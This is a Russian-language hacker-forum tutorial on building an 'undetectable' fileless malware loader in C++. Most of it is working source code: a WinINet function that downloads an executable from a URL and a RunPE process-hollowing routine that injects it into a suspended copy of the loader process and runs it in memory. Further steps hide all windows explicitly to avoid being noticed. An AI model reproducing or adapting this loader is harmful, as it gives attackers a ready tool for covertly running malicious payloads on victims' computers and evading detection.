Делаем приватный лоадер своими руками

c0dpro

Много эникейщиков развелось последнее время, но так как я тут батя и ремнем по жопе дам, мы будем делать ТОПОВЫЙ АНДЕТЕКТ ЛОАДЕР ЗА ПОСЛЕДНИЙ ГУГОЛИОН ЛЕТ!!!!!!!! *на си плюс плюс
ДЕЛАЕМ НЕРЕЗИДЕНТЫЙ ЛОАДЕР БЕЗ СМС И ДРОПОВ НА ДИСК(ТРУ)




1. Итак, первым делом нужно создать проект и назвать его что-то типо этого..




*далее ЮМЛ

2. Нам нужно создать документ куда мы будем писать наше тело лоадера..



3. Теперь необходимо прописать точку входа и наши хэдэры…(СУКА, НЕ ЮЗАЙТЕ ПРЕДКОМПИЛ ЗАГОЛОВКИ)




Юзать мы будем кусочек моей библиотеки, в которой уже все сделано за нас. Конкретно мы будем юзать RunPE и GetFile.

Создаем файл заголовка и пихуем туда вот это(COPY-PASTE):



Код:
/*#include <Wininet.h>[/B][/SIZE][/CENTER][/B][/SIZE][/CENTER][/B][/SIZE][/CENTER]
[SIZE=4][B]
[CENTER][SIZE=4][B]
[CENTER][SIZE=4][B][CENTER]#include <Windows.h>
#pragma comment(lib,"wininet.lib")

class System

{

public:

       int RunPortableExecutable(void* Image);

};


class Internet

{

public:

       char* GetFile(const const char* szUrl);

};*/











Здесь мы создали определения для наших будущих двух фунок это RunPE и GetFile().

Также, мы заранее указали либу и заголовок для функции Getfile().

Сейчас нам необходимо создать еще один файл C++ и прописать туда наши функции:


Код:
#include "Utils.h"[/B][/B][/SIZE][/CENTER][/B][/B][/SIZE][/CENTER][/B][/B][/SIZE][/CENTER]
[SIZE=4][B][B]
[CENTER][SIZE=4][B][B]
[CENTER][SIZE=4][B][B][CENTER]//Author of a RunPE func is ZeroMemory. Link: https://github.com/Zer0Mem0ry/RunPE/blob/master/RunPE.cpp
char* Internet::GetFile(const const char* szUrl) {
HINTERNET hOpen = NULL;
HINTERNET hFile = NULL;
HANDLE hOut = NULL;
char* data = NULL;
DWORD dataSize = 0;
DWORD dwBytesRead = 0;
DWORD dwBytesWritten = 0;
hOpen = InternetOpen("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36", NULL, NULL, NULL, NULL);
if (!hOpen) return NULL;
hFile = InternetOpenUrl(hOpen, szUrl, NULL, NULL, INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE, NULL);
if (!hFile) {
InternetCloseHandle(hOpen);
return NULL;
}
do {
char buffer[2000];
InternetReadFile(hFile, (LPVOID)buffer, _countof(buffer), &dwBytesRead);
char *tempData = new char[dataSize + dwBytesRead];
memcpy(tempData, data, dataSize);
memcpy(tempData + dataSize, buffer, dwBytesRead);
delete[] data;
data = tempData;
dataSize += dwBytesRead;
} while (dwBytesRead);
InternetCloseHandle(hFile);
InternetCloseHandle(hOpen);
return data;
}
int System::RunPortableExecutable(void* Image)
{
IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols
IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects & symbols
IMAGE_SECTION_HEADER* SectionHeader;
PROCESS_INFORMATION PI;
STARTUPINFOA SI;
CONTEXT* CTX;
DWORD* ImageBase; //Base address of the image
void* pImageBase; // Pointer to the image base
int count;
char CurrentFilePath[1024];
DOSHeader = PIMAGE_DOS_HEADER(Image); // Initialize Variable
NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); // Initialize
GetModuleFileNameA(0, CurrentFilePath, 1024); // path to current executable
if (NtHeader->Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE File.
{
ZeroMemory(&PI, sizeof(PI)); // Null the memory
ZeroMemory(&SI, sizeof(SI)); // Null the memory
if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) // Create a new instance of current
//process in suspended state, for the new image.
{
// Allocate memory for the context.
CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
CTX->ContextFlags = CONTEXT_FULL; // Context is allocated
if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) //if context is in thread
{
// Read instructions
ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);
pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
// Write the image to the process
WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
{
SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));
WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),
LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
}
WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8),
LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);
// Move address of entry point to the eax register
CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, LPCONTEXT(CTX)); // Set the context
ResumeThread(PI.hThread); //´Start the process/call main()
return 0; // Operation was successful.
}
}
}
}











Теперь мы можем работать дальше..

4. Пишем тело нашего лоадера.. Здесь мы будем использовать две функции выше, мы загрузим файл с помощью функции Getfile(), а с помощью функции RunPE() мы запустим его в памяти..

Делаем обертку или тело…

Первым делом нам нужно указать статические ссылки на наши функции..
Internet inet;

System sys;


Затем нам нужно в переменной char* нам нужно вызвать нашу функцию Getfile().
char* File = inet.GetFile("LINK TO UR X86 EXECUTABLE");


Теперь в переменной File у нас хранится наш файл. Теперь нам необходимо сделать запуск нашего файла через функцию RunPE.

sys.RunPortableExecutable(File);

Готово! Вы сделали НАСТОЯЩИЙ ЛОАДЕР, А НЕ ДРОПЕР ФАЙЛОВ.

Проверяем работу..



5. Теперь сделаем чуточку красивее и уберем нашу консольку, а также уберем это окно, дабы на всякий случай не палица))0

Первым делом нам нужно отправится в настройки проекта, а точнее в раздел компоновщика и еще точнее в пункт System/Система. Тут нам нужен раздел подсистема. Тыкаем. Находим пункт Windows (/SUBS..:WINDOWS). Закрываем, проверяем..

Ага, ошибка..



Компилятор из-за смененной субсистемы запуска не может определить точку входа, тогда мы ее зададим насильно.. Идем опять в настройки компоновщика и открываем пункт “Командная строка” или “Command Line” и пишем туда следующую вещь:

/entry:mainCRTStartup

Этой поелдобиной мы насильно зададим точку входа для нашего приложения.. Закрываем, проверяем..



Ошибок при компиляции нету, окна консоли тоже нету. Теперь нам нужно убрать вот это самое окно, само собой вы сейчас будете делать это по желанию. Идем в нашу функцию RunPE и находим строчку где мы создаем процесс:

*CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE,

CREATE_SUSPENDED, NULL, NULL, &SI, &PI));

Здесь имеется флаг запуска приложения, это CREATE_SUSPENDED.

Нам необходимо сюда же добавить флаг CREATE_NO_WINDOW. Как это сделать? – Это можно сделать с помощью вертикального слеша или прсто |. Делаем..

CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE,

CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &SI, &PI));

PROFIT! Теперь у нас все скрыто и нихера не видно, вы молодец? – Я молодец.

6. Это еще не все, казалось бы, код закончен куда идти дальше? – Есть куда еще. Нам необходимо задать библиотеку времени выполнения.



Идем в настройки проекта и находим раздел “C/C++”, тут нам нужен подраздел “Создание кода”, а в нем уже пункт “Библиотека времени выполнения”. По дэфолту вижуал ставит библу в положение /MD, тем самым, для запуска нашего приложения потребуется ДИ ЭЛЬ ЭЛЬКА от вижуала. Это не классно. Тыкаем и находим пункт с /MT, ставим.


Вот теперь все, дальше с настройками играйтесь сами.)


Что мы имеем на выходе? – Мы имеем самый пиздатый лоадер эвер который все запускает в памяти да еще и весит пиздец как мало для /MT. 78кб.


Исходники на гитхабе: https://github.com/kent9876/Loader-The-Best-by-RID